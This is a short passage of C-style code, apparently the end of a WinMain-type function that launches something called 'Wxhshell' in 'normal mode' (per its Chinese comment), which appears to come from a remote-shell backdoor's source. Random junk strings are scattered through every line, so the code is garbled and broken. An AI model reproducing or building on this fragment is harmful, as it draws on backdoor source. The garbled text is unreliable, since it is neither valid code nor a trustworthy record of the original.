else Cnr=1E=
// 普通方式启动 !,+<?o y
StartWxhshell(lpCmdLine); Sse%~:FL
=2t=Zyp0Y
return 0; J8-K
}